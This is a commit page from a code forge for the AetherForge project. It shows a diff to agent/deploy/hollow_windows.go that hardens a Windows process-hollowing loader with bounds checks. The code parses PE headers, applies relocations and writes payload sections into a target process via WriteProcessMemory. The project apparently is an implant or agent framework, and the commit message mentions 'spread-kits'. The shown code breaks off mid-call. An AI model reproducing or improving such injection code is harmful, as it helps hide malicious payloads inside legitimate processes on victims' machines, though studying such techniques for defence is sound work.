drjones/AetherForge
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Expand test coverage across server, agent, and web; fix bugs found during audit.

Browse Source 
Adds hundreds of unit/integration/e2e tests, fixes WS bcrypt auth, config merge, fleet analytics, agent schedule/log tail, and documents stale PROBLEMS items. Updates PROBLEMS.md, README, and test scripts; ignores local spread-kits and coverage dirs.
This commit is contained in:
AetherForge
2026-05-31 01:13:49 -07:00
parent 159747877c
commit ea6f54ad03
89 changed files with 5307 additions and 322 deletions
Download Patch File Download Diff File Expand all files Collapse all files

30
agent/deploy/hollow_windows.go
View File

@@ -36,10 +36,19 @@ const (
// rvaToFileOffset translates a virtual address (RVA) in the PE to its raw file offset.
func rvaToFileOffset(payload []byte, rva, eLFANew, sizeOfOptHdr uint32) (uint32, error) {
// Need at least 8 bytes from eLFANew to read numSections (offset 6, 2 bytes).
if uint32(len(payload)) < eLFANew+8 {
return 0, fmt.Errorf("payload too small to read section count at eLFANew 0x%x", eLFANew)
}
numSections := binary.LittleEndian.Uint16(payload[eLFANew+6:])
sectionsBase := eLFANew + 24 + uint32(sizeOfOptHdr)
for i := uint32(0); i < uint32(numSections); i++ {
sec := payload[sectionsBase+i*40:]
secOff := sectionsBase + i*40
// Each section header is 40 bytes; we read up to offset 24 (4 bytes).
if uint32(len(payload)) < secOff+24 {
break
}
sec := payload[secOff:]
vAddr := binary.LittleEndian.Uint32(sec[12:])
vSize := binary.LittleEndian.Uint32(sec[8:])
rawOff := binary.LittleEndian.Uint32(sec[20:])
@@ -81,7 +90,12 @@ func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32)
}
entryCount := (blkSize - 8) / 2
for i := uint32(0); i < entryCount; i++ {
entry := binary.LittleEndian.Uint16(payload[blockOff+8+i*2:])
entryOff := blockOff + 8 + i*2
// Bounds check: each reloc entry is 2 bytes.
if entryOff+2 > uint32(len(payload)) {
break
}
entry := binary.LittleEndian.Uint16(payload[entryOff:])
relType := entry >> 12
relOff := uint32(entry & 0x0FFF)
@@ -240,12 +254,22 @@ func RunHollowed(targetExe string, payload []byte) error {
sectionsStart := 24 + uint32(sizeOfOptHdr)
patchedNT := patched[eLFANew:]
for i := uint16(0); i < numSections; i++ {
secHdr := patchedNT[sectionsStart+uint32(i)*40:]
secHdrOff := sectionsStart + uint32(i)*40
// Each section header is 40 bytes; we read up to offset 24 (4 bytes).
if uint32(len(patchedNT)) < secHdrOff+24 {
return fmt.Errorf("section header %d out of bounds", i)
}
secHdr := patchedNT[secHdrOff:]
virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
rawSize := binary.LittleEndian.Uint32(secHdr[16:])
rawOff := binary.LittleEndian.Uint32(secHdr[20:])
if rawSize > 0 {
// Bounds check: source slice must be within patched buffer.
if uint64(rawOff)+uint64(rawSize) > uint64(len(patched)) {
return fmt.Errorf("section %d raw data [%d:%d] exceeds payload (%d bytes)",
i, rawOff, uint64(rawOff)+uint64(rawSize), len(patched))
}
ret, _, lastErr = procWriteProcessMemory.Call(
uintptr(pi.Process),
newMem+uintptr(virtAddr),